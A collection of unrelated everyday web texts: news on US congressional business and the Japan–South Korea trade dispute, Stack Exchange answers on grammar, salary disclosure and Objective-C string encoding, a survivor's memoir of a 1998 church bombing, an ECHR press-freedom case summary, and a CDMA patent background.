The bill includes funding for the Departments of Defense, Energy and Veterans Affairs, as well as legislative branch operations like the Capitol Police.
House GOP leaders are expected to add $1.6 billion for the U.S.-Mexico border wall promised by President Trump Donald John TrumpBubba Wallace to be driver of Michael Jordan, Denny Hamlin NASCAR team Graham: GOP will confirm Trump's Supreme Court nominee before the election Southwest Airlines, unions call for six-month extension of government aid MORE during the 2016 campaign.
Given the inclusion of funds for the border wall, the legislation stands next to no chance in the Senate given Democrats’ likelihood to filibuster. But its passage in the House will serve as an opening salvo in the spending fight that awaits lawmakers in September when they will have to find a way to avoid a government shutdown at the end of the month.
Members of both parties will likely submit hundreds of amendments to the spending package.
Not every amendment will get a vote. House GOP leaders will select which amendments can get debate and a vote on the floor.
They’re unlikely to greenlight amendments like blocking money for Trump’s wall, as proposed by Rep. Ruben Gallego (D-Ariz.), or preventing any funds from benefiting Trump’s businesses as submitted by Rep. Don Beyer (D-Va.).
Another controversial addition could be if GOP leaders allow a vote on an amendment from Rep. Vicky Hartzler (R-Mo.) to prevent the Pentagon from paying for service members’ gender reassignment surgeries.
GOP leaders previously granted Hartzler’s amendment a vote during consideration of the annual defense policy bill two weeks ago. But it failed by a vote of 209-214, thanks to 24 mostly centrist Republicans who joined with Democrats to defeat it.
The House Rules Committee, which is controlled by GOP leaders, will meet on Monday and Tuesday to make decisions on amendments.
Russia sanctions
The House will vote Tuesday on a deal unveiled over the weekend to impose sanctions on Russia, Iran and North Korea.
Its consideration will come amid the multiple investigations of whether the Trump campaign colluded with Russian officials as part of its attempts to interfere in the 2016 election.
Senators originally passed the bill by a vote of 98-2 last month, but it stalled in the House for weeks mostly due to procedural hangups.
House Democrats had objected to a provision requested by GOP leaders to allow only the majority party to force votes on resolutions to block the Trump administration from lifting sanctions.
Oil and gas companies had also expressed concern about provisions targeting Russian energy pipelines and warned they could inadvertently harm American projects abroad.
Under the deal, either the House majority or minority leader can introduce a resolution of disapproval to prevent the Trump administration from easing sanctions.
The White House had pushed GOP lawmakers to water down the congressional oversight provisions in the pursuit of flexibility with sanctions policy. But President Trump is poised to be presented with legislation that disregards his administration's request.
The sanctions package will be considered under an expedited process that requires a two-thirds majority for passage. That threshold also means it will be veto-proof.
Assuming the Senate clears the legislation by a similar margin as last time, Trump could be faced with the first veto override of his presidency if he refuses to sign it.
The legislation passed by the Senate originally only applied to Iran and Russia, but House negotiators added North Korea to the package. The House had passed a separate North Korea sanctions bill by a 419-1 vote this spring.
House Minority Leader Nancy Pelosi (D-Calif.), while supportive of the North Korea sanctions, expressed concern that the addition could slow down Senate consideration.
"It is essential that the addition of North Korea to this package does not prevent Congress from immediately enacting Russia sanctions legislation and sending it to the President's desk before the August recess," Pelosi said in a statement.
Kushner to interview on the Hill
President Trump's son-in-law and adviser Jared Kushner is slated to interview with the House Intelligence Committee on Tuesday amid that panel's Russia probe. His appearance will come a day after he is reportedly expected to talk to the Senate Intelligence Committee behind closed doors.
Donald Trump Jr. and former Trump campaign chairman Paul Manafort have also reached a deal with the Senate Judiciary Committee to avoid appearing for a public hearing this week, lawmakers said. The two have agreed to interviews and provide documents to the panel, the committee said.
Meanwhile, the Senate committee said Friday that it was subpoenaing Glenn Simpson, the co-founder of a firm tied to a salacious dossier containing largely unverified opposition research on President Trump, to appear at the hearing Wednesday.
Lawmakers are eager to hear from Trump Jr. and Manafort following revelations that they met with a Russian lawyer claiming to have damaging information about Hillary Clinton Hillary Diane Rodham ClintonJoe Biden looks to expand election battleground into Trump country Biden leads Trump by 12 points among Catholic voters: poll The Hill's Campaign Report: Biden goes on offense MORE during last year’s campaign.
Sens. Chuck Grassley Charles (Chuck) Ernest GrassleyGardner signals support for taking up Supreme Court nominee this year Grassley, Ernst pledge to 'evaluate' Trump's Supreme Court nominee McConnell digs in on vow to fill Ginsburg's Supreme Court seat MORE (R-Iowa) and Dianne Feinstein Dianne Emiel FeinsteinBiden leads Trump by 12 points among Catholic voters: poll Names to watch as Trump picks Ginsburg replacement on Supreme Court McConnell says Trump nominee to replace Ginsburg will get Senate vote MORE (D-Calif.), the Judiciary Committee's top two lawmakers, left the door open Friday to subpoenaing either of the men in the future if they stopped cooperating with the panel.
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SEOUL/TOKYO -- South Korean companies are scrambling to stock up on Japanese parts as Tokyo prepares to impose an export curb on the country as the trade spat between the two countries heats up.
Wednesday is the deadline for public comment on the Japanese government's plan to remove South Korea from its so-called white list of preferred trading partners. Removal from the list would require Japanese suppliers to obtain government approval before exporting certain items to South Korea -- a process that could cause delays and disruption to supply chains.
Seoul plans to send a letter to the Japanese government asking to be kept on the white list by the deadline. Japan is expected to make a decision by next month, though it could come any day after Wednesday, an official in the Japanese trade ministry's security export licensing division told the Nikkei Asian Review.
Hundreds of South Korean companies, including Samsung Electronics, Hyundai Motor and LG Inntek, are expected to be directly affected if the export curb is implemented. In a separate move earlier this month, Japan imposed restrictions on three key semiconductor and display materials.
Samsung Electronics sent a letter to its suppliers earlier this month, telling them to buy three months' worth of Japanese parts, according to a company source who asked not to be named. Samsung promised to provide financial aid for the procurement, if needed.
"It is our natural reaction to keep our supply chains safe," the source said. "It is one of the toughest challenges we have ever faced. We are almost dead [if the curb is imposed]."
Samsung Electronics Vice Chairman Lee Jae-yong, de facto head of the conglomerate, visited Tokyo earlier this month to discuss the issue with its Japanese suppliers. South Korean media reported that Hyundai Motor Vice Chairman Chung Euisun made a similar trip to Japan last week.
Goldman Sachs said that the import curb would cost South Korea's machinery and electronics industries $20 billion annually, largely in relation to semiconductor production.
"Dependence on Japan imports is high for certain industries, and it is unclear to what extent and how rapidly [South] Korea would be able to substitute away from Japanese materials if the need were to arise, given limited non-Japan supply in select industries and the varying quality of non-Japan materials," said Irene Choi, an analyst at Goldman Sachs.
Analysts say that airline and semiconductor industries are bearing the brunt of the economic impact, but that the impact will spread to automobile, food and beverage and retail sectors.
"Hyundai Motor is importing chemical material for its hydrogen vehicle from Japan, while SsangYong Motor and Renault Samsung are buying transmissions from the country. If those parts are under sanctions, that will be negative to the companies," said Kim Jin-woo, an analyst at Korea Investment & Securities.
Japanese chemical powerhouse Toray supplies carbon fibers to Iljin Composites, a South Korean company that produces fuel tanks for Hyundai's hydrogen vehicles. This means the export curb could also hurt South Korean President Moon Jae-in's economic strategy, as he has promoted hydrogen vehicles as one of the country’s next growth engines along with logic chips and biopharmaceutical products.
A spokesperson for Japanese auto parts maker Denso said that its South Korean subsidiary sources "most" of its materials locally. A South Korean semiconductor company that supplies this subsidiary, however, is "stocking up on inventory so that there is no impact" from the potential curb, the spokesperson said.
Many companies are taking a wait-and-see approach. Japanese electronics company Ibiden, a supplier for Samsung smartphones, said it is investigating the possible impact, while Sony and Mitsui Chemicals said they are "carefully watching the situation." Sony supplies camera image sensors to LG Innotek, which produces camera module for Apple's iPhones. Mitsui supplies carbon fibers for Hyundai's hydrogen cars.
Japan's trade ministry already imposed tighter controls on semiconductor-related materials on July 4. Affected material manufacturers can still apply for a permission to export, but have to halt shipment until they get the approval, which could take three months or longer.
JSR, one of the companies affected, said the actual extent of the restriction "will only be clear when it comes to getting the approval."
The white list, meanwhile, applies to hundreds of products and technologies that could be used for military purposes, though South Korea's removal from that list would not necessarily mean trade requirements would change for all of the items covered.
"It is not yet decided which products would require what approval requirements," the Japanese trade ministry official said.
South Korea is currently the only Asian member on the 27-member list, which includes Australia, the U.S. and the U.K. Removing a country from the list requires a cabinet decision.
Experts expect the trade spat to drag on until next year, as Tokyo is likely to remove South Korea from its white list.
"The Japan-South Korea trade dispute remains likely to extend into 2020, with U.S. efforts to lower and contain tensions between its two allies expected to be only partially effective," said Scott Seaman, a director at Eurasia Group, a U.S.-based think tank.
"Japan will probably remove South Korea from its 'white country' list next month unless there is a breakthrough that prompts Japan to delay or abandon that plan, which is unlikely."
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We all know professional athletes have weird rituals and superstitions. For whatever reason, that is especially true for baseball players. When a starting pitcher tells us he loads up on In-N-Out Burger or eats fast food the night before a start, we typically take their word for it. But just in case you didn’t believe Justin Verlander when he said he eats Taco Bell the night before every one of his starts, the Tigers ace proved it via his Twitter account on Wednesday night — the night before Detroit’s opener against Boston.
The fact that Verlander can eat that stuff and get through a baseball game the following day is more impressive to me than watching him throw 100 mph in the ninth inning.
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The counselor provides educational, career, and personal counseling to student athletes. He assists students to establish goals, evaluate options, develop an educational plan, and learn to study effectively so they may reach their educational and career goals. He holds group workshops, teaches Counseling classes, and meets student athletes in one-on-one private appointments. He has knowledge of the many degrees, majors, and certificates available at COC and other colleges and he has special training and knowledge regarding the admission and transfer requirements for colleges and universities and the eligibility and transfer rules for student athletes.
Cougar athletes must schedule a counseling appointment to meet with the Counselor for student athletes every semester to develop and/or update theirStudent Educational Plan (SEP). The SEP lists educational and transfer goals as well as the courses needed each term to achieve such goals. Athletes may schedule athletic counseling appointments in person of by calling the Counseling Office for Student Athletes at the phone number listed above.Please note that athletes can't compete a second season if there is no SEP on file in the Counseling Office.
New student athletes attend aStudent-Athlete Advisement Workshopthat welcomes new students to the college. The workshop teaches what factors to consider when planning schedules to meet academic and athletic goals.
Student athletes are encouraged to enroll in a 2 unit course:COUNS 112- Transition Strategies for Intercollegiate Student Athletestaught by the Counselor for Student Athletes. This counseling course focuses on the various components necessary for college planning and academic success. Readiness for college will be explored with special attention given to students' responsibilities, study skills assessment, personal values, motivation, goal setting, time management, decision making, choosing a major, and educational planning.
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I tried running the benchmark again after upgrading my SSD from a ~500MB/s SATAIII one to a ~2000MB/s NVMe. This is also after declocking the i7-5820K slightly from 4.2 to 4.1GHz. The 980ti is still running at 1288MHz.
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Q:
Do many people even care about "good" grammar in novels?
I realise people like me are probably many, i.e., amateurs who want to write a book and then get frustrated by having to learn all this very intricate grammar just to please the odd poindexter who may read their book. Especially these days with grammar on the decline, it seems those who can even identify good grammar are very scarce.
Do many people even care about "good" grammar in novels?
A:
People do care about good grammar in novels.
I understand what you mean about the "intricate details" if you're referring to the oxford comma and grammar rules of that nature that even many editors won't really pay attention to. But, basic rules of grammar apply, unless you have a specific reason to throw those window.
For example, if your character doesn't speak English well, you might use less grammar in his dialogue. Or, if you're writing about an entire civilization of people that never learned proper English, you may not want to use as much grammar, especially if your narrator is a person of the civilization.
But, outside of cases like those, the rules of grammar do apply. This article may provide some insight:
http://simplewriting.org/does-grammar-matter/
This one may also be of assistance, though it argues the contrary:
http://www.writersdigest.com/editor-blogs/there-are-no-rules/general/why-i-dont-care-about-grammar-and-why-you-should-stop-worrying
The way I've always been taught, and the way I've come to understand grammar, is that you must learn the rules before you can break them. And, if you break them too much, as I've learned the hard way, people can't understand your writing.
So, no, novels aren't expected to be written in MLA or APA format, but they are expected to be coherent.
A:
You have to make a distinction between good grammar and what we might call the grammar of the good. Or perhaps I should say between grammar and the grammar of the good.
Grammar is the mechanics of how language works. Every comprehensible sentence is comprehensible because of grammar. Either your language works -- conveys meaning to a reader -- or it does not. You cannot make yourself understood at all without grammar.
Then there is "Grammar", which is the study of how grammar works, and an attempt to define its operation, which, it turns out, we don't completely understand. You don't need to know anything at all about the study of Grammar in order to speak or write with grammar. In fact, grammar has to come before Grammar because you need grammar to understand anything that is said about Grammar.
Then there is the grammar of the good, which is a set of prescriptions, nominally derived from Grammar, ostensibly for the purpose of teaching people better grammar, but with the larger purpose of separating the speech of the educated from the speech of the uneducated so as to create effective barriers to social mobility. The grammar of the good contains all kinds of rules that have no justification in actual grammar, or in Grammar. Some of them even come from other languages. But just as with Grammar, you don't need to know the grammar of the good in order to write a compelling story.
What you do need to do is to become as fluent in written English as you are in spoken English. The two are substantially different. To become fluent in written English you are going to need to read and write it about as much as you had to speak and hear spoken English to become fluent in it. Which means a lot. Lots of adults just aren't there simply because they have not done enough practice to be fluent.
Unfortunately, while the lack of fluency is written English can manifest itself in a number of different ways, most of which are not actually grammatical, people who don't have a vocabulary for talking about these flaws will fall back of calling them "bad grammar". Unfortunately, this leads many to suppose that you have to go learn Grammar and conform to the grammar of the good in order to write well. This does not work terribly well, however, if for no other reason than that most of the faults people are complaining about are not actually grammatical, but are matters of convention, style, usage, or other things. Reading good books will do more to improve your fluency than reading Grammar books.
That said, the gatekeepers of the publishing world number themselves among the good. While a few have the good sense to know that a great story does not always come across the transom in the grammar of the good, many of them will use it as their first filter. If it is not in the grammar of the good, they won't read far enough to find out if is a great story.
And if the do find a great story that is not written using the grammar of the good, they will insist on editing it into the grammar of the good before they will publish it.
In short, while you don't need to master the grammar of the good in order to write a compelling story, you almost certainly need to present your story in the grammar of the good in order to get it published.
On the upside, since the vast majority of (professionally) published work is published in the grammar of the good, if you read and write enough to become fluent in written English, you will have picked up both grammar and the grammar of the good by osmosis.
This is not to say that you won't ever be criticized, since the grammar of the good is being constantly reshaped by the social mobility that it is designed to resist. Thus most of the latinate rules (no split infinitives, no ending a sentence with a preposition) which were the frontier of the grammar of the good fifty years ago are now mere ruins to be gawked at by tourists, while whole new prescriptions have grown up around things like pronouns.
But that is the writing life.
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Q:
Is it required to be exact about previous salary when dealing with recruiting agencies?
All jobs I applied for have been through recruiting agencies and all of them are asking for my current/previous salary. It is much much lower than industry average (nearly half) and I don't want that to influence my next salary...
I remember reading somewhere - though I don't remember where - that it doesn't need to be precise, and that it should also include in the sum a money value of perks, benefits, bonuses and maybe even equity.
For example, if my basic salary is 50, my bonus is 10, my laptop is 3, other benefits amount to 2... can I say that my salary is 65 to the recruiting agency?
Could there be any negative consequences for not disclosing the exact base salary?
A:
You can say whatever you like. The recruiting company wants to know in order to factor it into what roles they might consider putting you forward for, and in order to determine how much they should be putting forward as your salary demands.
So obviously if you fudge/mislead/use creative accounts/outright lie, it just means that they'll be using the fudged number in those considerations.
However, before you do this, bear in mind that it is in the recruiters' best interests to put you in a job at the best salary they can get. Their commission is based on your salary. The more they can get for you, the more they get for themselves.
So when dealing with a good recruiter, you should absolutely be able to get the most effective service by telling them what your current situation is, what you are hoping for, and what you are not willing to settle for less than. Feel free to say "my current salary is $50k, but taking perks and bonus into account, I value it at $65k, and am not interested in changing jobs for anything less than $75k".
A:
I disagree with Carson63000's point that "it is in the recruiters' best interests to put you in a job at the best salary they can get." Technically, this is true. However, their primary goal is really just getting the placement at all. If they can sell the employer on the fact that you will accept less than another candidate, they will absolutely do so, and hope to earn 90% of a commission, vs losing it entirely.
You have to be very clear to the recruiter (and to yourself) about what you'd really do in various scenarios. You say your salary is only about half the industry average. Using your example, would you stay at your current $50k job even if the recruiter could get you a $70k one? That still may be below the industry average, but it's a nice bump for you. If you know you'd turn it down, be honest and tell the recruiter that -- but be prepared if the recruiter says demanding more will take you out of consideration.
A:
You have two professional choices, and neither involve lying.
Put down what you want your salary to be, providing the answer is clear that it is not your current salary. Some forms will ask for a desired salary, and so current salary is immaterial.
Put down your current base salary and then when salary comes up, point out what you were getting with bonuses, and what it will actually take to move, based on being underpaid. The reason for giving the base salary, is that many companies will, in the process of checking references, confirm salaries with the previous employer(s). If the number you have provided does not match the numbers they hear, and is wildly different, you may be dropped from consideration without a chance to explain.
Here are some related links on how they might verify your salary, and a couple more about why it is inappropriate to include the value of your benefits and whether you should lie about your salary.
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Warning: Parameter 2 to wp_hide_post_Public::query_posts_join() expected to be a reference, value given in /home/peaceo08/public_html/wp-includes/class-wp-hook.php on line 286May 24, 1998 - peace of my city
May 24, 1998
The morning of May 24, 1998 at 3:00 a.m. my eighth grade class rolled into Catlin Grade School from our class trip in Washington D.C. I was every bit of tired, but excited to be home to see my family and friends. I had a tight-knit group of friends from my church youth group, named “Extreme Faith,” at First Assembly of God in Danville. My parents came and picked me up, took me home and as I went to bed, I reminded them to wake me up in time to go to church…no matter how tired I was, I just HAD to go see my friends. So of course, they did just that.
I woke up, got ready and my step-dad drove me into church. (My parents attended a different church – the Catlin Church of Christ.) “I love you!” he shouted as I exited the car and excitedly ran into the church. I was met by a few of my friends, and I remember them telling me all about seeing Godzilla at the movie theatre the night before. The morning had a fresh feeling about it. I was happy to be reunited with my favorite people and I felt a closeness of our group that morning.
We (the youth group) all sat together in the front of the sanctuary like we always did. The service began and that awesome feeling of God, grace and fellowship entered the room as we sang songs and then greeted one another. As we took our seats after fellowship, Pastor Dennis Rogers called for the ushers to come forward and for the congregation to please bow their heads so that we could pray over the offering.
At that very second, many lives were changed.
The loudest “BOOM!” you could ever imagine came over the congregation, and I found myself laying across the top of my chair instead of sitting in it. My ears were ringing and all I could see was the outside sun shining through the white dust of what used to be the wall that was just ten feet to my left. My very first thought was that Jesus had returned, and the Apocalypse had begun. We weren’t so lucky.
After a few seconds, I looked to my right and my boyfriend at the time had the blankest stare on his face that I had only seen in the movies after someone gets shot. I yelled out to him, “Steve!!” but his expression didn’t change. He hit his knees, fell over and I ran to him. All I could see was blood covering the entire left side of his head and shoulder. “Help him!!” I shouted to church members who were searching through the dry wall clouds to check on their families and friends.
I heard Pastor’s voice come over the sound system: “Please everyone calmly exit the back of the church!” His precious voice gave me a very strange feeling of peace and comfort and I followed his orders. As I approached the lobby of the church I noticed a big group of people circling around a table. I walked over and noticed they were circling my friend, Elizabeth. She was severely injured.
As I began to go toward her, I started to feel faint and I turned to look in the full length mirror next to the bathroom. I have a snapshot of this moment in my mind. I remember everyone running and yelling around me, but I was just still – just standing there staring at myself in the mirror from afar.
Suddenly a voice: “You are hurt, you need to get outside and have the paramedics look at you.” And I was ushered to the outside where the parking lot was just as chaotic. Suddenly, a warm trickle started to run down my left arm. I reached up with my hand to feel my head and it didn’t feel like my own face. Blood covered my hands and I quickly fainted onto the hot cement parking lot. “Over here! Over here!” I heard above the sirens of all the First Responders pulling up.
That’s me on the front page of the Commercial News where I landed.
Before I knew it, I was surrounded by angels disguised as Paramedics, EMTs and Firemen. Panic came over me. “Are my friends alive?! Are my friends alive?!” More panic. “Am I going to die?!” The scariest thing that has ever happened to me is when no one answered my desperate questions. In that moment, I began to pray out loud and a clarity and peace came over me. A beautiful woman dressed in white with long brown hair came and sat down on the concrete next to my head and began to talk to me. “Can you please call my mom?!” By nothing short of a miracle, I remembered the phone number to the Catlin Church of Christ office. (My grandmother was the secretary there for years.) The woman called the Catlin church and I was loaded up into the ambulance. I remember the thought crossing my mind that it was kind of cool that I got to ride in an ambulance…I had never been in one before…and suddenly the pain. This was the first moment that I remember realizing that I was severely injured.
From there, all of the memories come in flashes. I remember watching the ceiling in the hospital as I was wheeled in. I remember it being really loud. I remember my mom getting there and finding comfort in hearing her voice. I also remember seeing her face when she saw me and the panic that came over her face. She went pale and had to sit down. I remember staring at the red light in what I assume was the CT scan, and as I was taken out of the machine I remember seeing a sign that said “do not look directly into the red light.” Great. I remember waking up on the ambulance ride over to Carle in Champaign and not being able to move any part of my body and panicking over the fact that there were tubes down my throat. I felt like I was suffocating. From there my next memory comes from a good 24+ hours when I woke up after surgery. My mom was there and I was sharing a room with my friend, Elizabeth.
Then came days, weeks, months, and years of healing. Thirty-three people with injuries – most of them from the youth group…3 of us were severe and sent to Carle. My temporal bone had been fractured and the nerve on that side of my face had been severed. I lost so much blood that I had a blood transfusion. My friends suffered injuries like half an ear missing, holes the size of baseballs in people’s backs and the bottom of a heal being dismembered. No one died that day. I later heard that if the bomb had been placed a quarter of an inch either way then we all would have been blown blocks away.
The bombing doesn’t come up a lot in conversation anymore…but when it does the biggest question I get from people is how it has affected my life. They usually expect to get a negative answer. I’m not going sit here and tell you that it’s all sunshine and rainbows and it hasn’t affected me negatively at all…because it absolutely has. But the biggest thing I took away from that day is that we are never promised tomorrow. I try my very best to live for today every day and to be the most positive I can about it. You might think you have control over your life and when it will be over….but you don’t. All you have control over is how you choose to live each day…so why not make it good?
I hope my story can inspire you to take a step back and recognize that you can’t sit around and wait for life to get better. YOU have to do it. Don’t be afraid of love, don’t be afraid to live. Don’t tell yourself that you’ll try something “next time” or “next year.” Do it now. Because this life is precious…and it’s our job to make it great.
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Comment Policy
Two words: Be nice. As people, we already spend too much time tearing each other down and competing with one another. This is not the place for harsh criticisms or negativity. We are in this together. We're on the same team! And while I welcome ideas from readers of all walks of life, I simply ask that those ideas be expressed with respect for one another and a little (or, if the situation warrants, BIG) drop of grace.
Copyright
All images and text on this site are property of peaceofmycity.com or the interviewee. Feel free to use one or two photos provided that a link back to my original post is included. Please do not remove any watermarks, crop, or edit any of my images without first obtaining written permission from me. Any free items offered are for personal use only. Sharing and pinning are always welcome and appreciated. Thanks!
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Q:
string modifications are not working?
This is my code and in my url string white spaces are not encoded by the code
NSString *str = item.fileArtPath;
NSCharacterSet *set = [NSCharacterSet URLQueryAllowedCharacterSet];
[str stringByAddingPercentEncodingWithAllowedCharacters:set];
[str stringByReplacingOccurrencesOfString:@" " withString:@"%20"];
NSURL *urlString = [NSURL URLWithString:str];
for below string:
http://xx.xx.xx.xxx:xx/xx/xx/xx/xxx/Audio Adrenaline.jpg
^^^^^^^^^^^^^^^^^^^^
The white space after Audio is not converted to %20 after I used string replacement. And in Debugging urlString is nil why so?
A:
From the NSString Class Reference
Returns a new string made from the receiver by replacing all
characters not in the specified set with percent encoded characters.
Meaning it doesn't permute the instance it's called on. You need to say something like str = [str stringByAddingPercentEncodingWithAllowedCharacters:set]; Same with [str stringByReplacingOccurrencesOfString:@" " withString:@"%20"];
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Summary
ECHR – Article 10 – responsible journalism – reasonable belief
Facts
The first and second applicants, Mr Andrzej Stankiewicz and Malgorzata Solecka, were journalists, the third applicant, Presspublica sp. z o. o. was the publisher of daily newspaper Rzeczpospolita where the first and second applicants worked (collectively “the As”).
Following an approach from the chief executive of a large pharmaceutical company with information that the company had received a proposal to “arrange” the placement of its drug on the government list of refunded drugs in exchange for a bribe, the As published a story on the topic. This ran on the front and fourth pages of Rzeczpospolita under the headline “Drugs for millions of dollars” and the standfirst “A pharmaceutical company asserts that the Head of the Private Office of the Minister of Health demanded a large bribe”.
The story concerned WD, Head of the Private of Office of the minister for Health, who was said, in 2002, to have demanded a bribe from pharmaceutical company representatives, offering in return assistance in having one of the company’s drugs placed on the list of drugs refunded within the national health care scheme. This was alleged to have take place during the course of two meetings between companies which planned to set up a network of osteoporosis clinics in Poland at which WD was present.
The journalists sought comment from WD before publication, and put questions to him about his presence as a high-ranking State official at a business meeting between two companies. They included critical comments made by the Deputy Minister of Health responsible for drugs policy at the relevant time. And the article also carried a report on WD’s career entitled “Doctor, businessman, official”.
WD sued the As for infringement of his personal rights in the Warsaw Regional Court. He sought damages, to be paid to charity, on the basis that the information about the request for a bribe had been misleading and untrue, the allegations being based on unverified information originating from the pharmaceutical company. The As argued that the version of events in the article was credible, that they had observed due diligence in gathering the information, and that the article had been justified in the public interest. The court heard witnesses, including participants at the meeting. WD’s claim was dismissed.
As well as making detailed findings of fact about the circumstances of the meeting, the Regional Court held that the article had dealt with issues of public interest and that, while it had infringed WD’s personal rights, it had not been unlawful because the journalists had shown sufficient diligence in gathering and publishing the information and had acted in accordance with professional ethics. It held that the information the As had had at their disposal had been sufficiently reliable to justify the allegation.
WD appealed successfully to the Warsaw Court of Appeal. It focused on whether or not the journalists had respected the special diligence required of them under the Press Act in order to rebut the presumption of unlawfulness of the infringement of WD’s personal rights. It held that they had failed to observe this, and that the first-instance court had erroneously assessed the testimonies of certain witnesses. According to the Court of Appeal, the As’ conduct had been unlawful. They were ordered to publish an apology, and to pay court fees and costs.
The As lodged an appeal which was dismissed by the Supreme Court.
Following the publication of the article, the Warsaw Appellate Prosecutor Office opened an investigation in the case and went on to charge WD with bribery and procurement fraud. These proceedings were discontinued in 2007 for lack of evidence.
Issue
Was the judgment against the As in breach of their Article 10 rights in the sense that it was not “necessary in a democratic society”?
Held
Giving judgment for the As, holding that there had been a violation of Article 10:
(1) The nature of the exemption from the ordinary requirement of verification of defamatory statements of fact is such that the domestic courts have to take into account the particular circumstances of the case under consideration. An overly rigorous approach to the assessment of journalists’ professional conduct could unduly deter them from their function of keeping the public informed. The courts must take into account the impact of their rulings not only on individual cases, but on the media generally.
(2) The press’s vital “public watchdog” role was of particular importance in the present case. The article concerned issues of public interest. WD held the position of Head of the Private Office of the Minister of Health and the limits of acceptable criticism are wider with regard to a person holding public office than to a private individual.
(3) Where a statement of fact is made and insufficient evidence is adduced to prove it, and the journalist is discussing an issue of public interest, verifying the journalist’s professionalism and good faith is paramount. In focusing on the As’ failure to speak to one particular participant in the meeting the Court of Appeal did not pay regard to other aspects of the journalists’ professionalism and the overall context in which the business meetings took place. They verified the story meticulously in contacting several of its major protagonists.
(4) The journalists’ reasonable reliance on the information fell to be determined in light of the situation at the time, rather than with the benefit of hindsight. The allegations raised in the article led to a criminal investigation which lasted for more than three and half years.
(5) The As complied with the tenets of responsible journalism. Their research was in good faith and complied with the journalistic obligation to verify facts from reliable sources. The allegations were underpinned by a sufficient factual basis, and the article’s content and tone were balanced. The As gave as objective a picture as possible of WD having approached a number of sources, and offered to present his version and to comment on the allegations raised. WD’s version of events was present in the Article.
(6) The domestic courts failed to take into account the status of WD and the wider limits of permissible criticism applicable to politicians or public officials. They omitted to consider that the allegations of corruption had emanated from the pharmaceutical company and had been reported as such. They also appear to have been unconcerned by the fact that a government official took part in negotiations between private companies on their joint business venture. They did not appreciate that the subject-matter of the publication concerned issues of public interest, or the role of the press as “public watchdog”. They did not carry out a balancing exercise between the right to reputation and the right to impart information. The reasons relied on by the State to justify the interference with the As’ right to freedom of expression were not sufficient to show that the interference was “necessary in a democratic society”.
Comment
With this decision the ECHR underlines the protection which is to be accorded to responsible journalism in the public interest, particularly where politicians and public officials are concerned. In the close attention paid to the public interest in the publication of the information, and to the circumstances surrounding it, including the state of mind of the journalists at the time of publication, the Court takes an approach which may parallel the standards which the English courts will apply under s4 of the Defamation Act 2013.
It is also noteworthy that the Court emphasised that national courts should take into account the broader effect of their rulings on the media generally where they assess journalists’ professional conduct. In this jurisdiction, this will be welcome in an atmosphere in which this conduct is increasingly coming under the spotlight.
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I. Field of the Invention
The present invention relates generally to wireless communications. More particularly, the present invention is directed to a novel and improved system and method for the monitoring and management of the loading of a Code Division Multiple Access (CDMA) wireless communication system.
II. Description of the Related Art
In the field of Code Division Multiple Access (CDMA) wireless communication, a wideband frequency channel is shared by multiple communication devices, with each communication device employing a different pseudo-noise (PN) spreading code. In a typical CDMA wireless communication system, a first frequency band is used for forward channel communications (base station to mobile station), while a second frequency band, different from the first frequency band, is used for reverse channel communications (mobile station to base station). An example of such a system is given in U.S. Pat. No. 4,901,307 entitled "SPREAD SPECTRUM MULTIPLE ACCESS COMMUNICATION SYSTEM USING SATELLITE OR TERRESTRIAL REPEATERS," issued Feb. 13, 1990, assigned to the assignee of the present invention, and incorporated herein by reference.
Fundamental to the concept of maximizing system capacity in a CDMA wireless communication system as described above is the process of power control. Subscriber units'output power must be controlled to guarantee enough signal strength received at the base station and to maintain good quality audio while minimizing the potential for interference. Since a CDMA wideband channel is reused in every cell, self interference caused by other users of the same cell and interference caused by users in other cells is the most limiting factor to the capacity of the system. Due to fading and other channel impairments, maximum capacity is achieved when the signal-to-noise ratio (SNR) for every user is, on the average, at the minimum point needed to support "acceptable" channel performance. Since noise spectral density is generated almost entirely by other user's interference, all signals must arrive at the CDMA receiver with the same average power. In the mobile propagation environment, this is achieved by providing dynamic power control of the mobile station transceiver. Power control guards against changes in system loading, jamming, slow and fast variations in channel conditions, and sudden improvements or degradations in the channel (shadowing).
Power control of the mobile station's transmitter consists of two elements: open loop estimation of transmit power by the mobile station, and closed loop correction of the errors in this estimate by the base station. In open loop power control, each mobile station estimates the total received power on the assigned CDMA frequency channel. Based on this measurement and a correction supplied by the base station, the mobile station's transmitted power is adjusted to match the estimated path loss, to arrive at the base station at a predetermined level. All mobile stations use the same process and arrive with equal average power at the base station. However, uncontrolled differences in the forward and reverse channels, such as opposite fading that may occur due to the frequency difference and mismatches in the mobile station's receive and transmit chains, can not be estimated by the mobile.
To reduce these residual errors, each mobile station corrects its transmit power with closed loop power control information supplied by the base station via low rate data inserted into each Forward Traffic Channel. The base station derives the correction information by monitoring the Reverse CDMA Channel quality of each mobile station, compares this measurement to a threshold, and requests either an increase or decrease depending on the result. In this manner, the base station maintains each reverse channel, and thus all reverse channels, at the minimum received power needed to provide acceptable performance. An example of a communication system employing the open loop and closed loop power control methods described above is given in U.S. Pat. No. 5,056,109 entitled "METHOD AND APPARATUS FOR CONTROLLING TRANSMISSION POWER IN A CDMA CELLULAR MOBILE TELEPHONE SYSTEM," assigned to the assignee of the present invention, and incorporated herein by reference.
In a CDMA wireless communication system as described above, a predetermined number of radio frequency resources, such as transceivers and channel modulator/demodulators (modems) are located at each base station. The number of resources allocated to a particular base station is a function of the anticipated traffic loading conditions. For example, a system in a rural area may only have one omni-directional antenna at each base station, and enough channel modems to support eight simultaneous calls. On the other hand, a base station in a dense urban area may be co-located with other base stations, each have several highly directional antennas, and enough modems to handle forty or more simultaneous calls. It is in these more dense urban areas that cell site capacity is at a premium and must be monitored and managed closely in order to provide the most efficient allocation of limited resources while maintaining acceptable quality of communications.
Sector/cell loading is the ratio of the actual number of users in the sector to the maximum theoretical number that the sector can support. This ratio is proportional to total interference measured at the receiver of the sector/cell. The maximum number of users that the sector/cell can support is a function of the aggregate signal-to-noise ratio, voice activity, and interference from other cells. The individual subscriber unit signal-to-noise ratio depends on subscriber unit speed, radio frequency propagation environment, and the number of users in the system. Interference from other cells depends on the number of users in these cells, radio frequency propagation losses and the way users are distributed. Typical calculations of the capacity assumes equal signal-to-noise ratio for all users and nominal values of voice activity and interference from other cells. However, in real systems, signal-to-noise ratio changes from user to user and frequency reuse efficiency varies from sector to sector. Hence there is a need to continuously monitor the loading of a sector or cell.
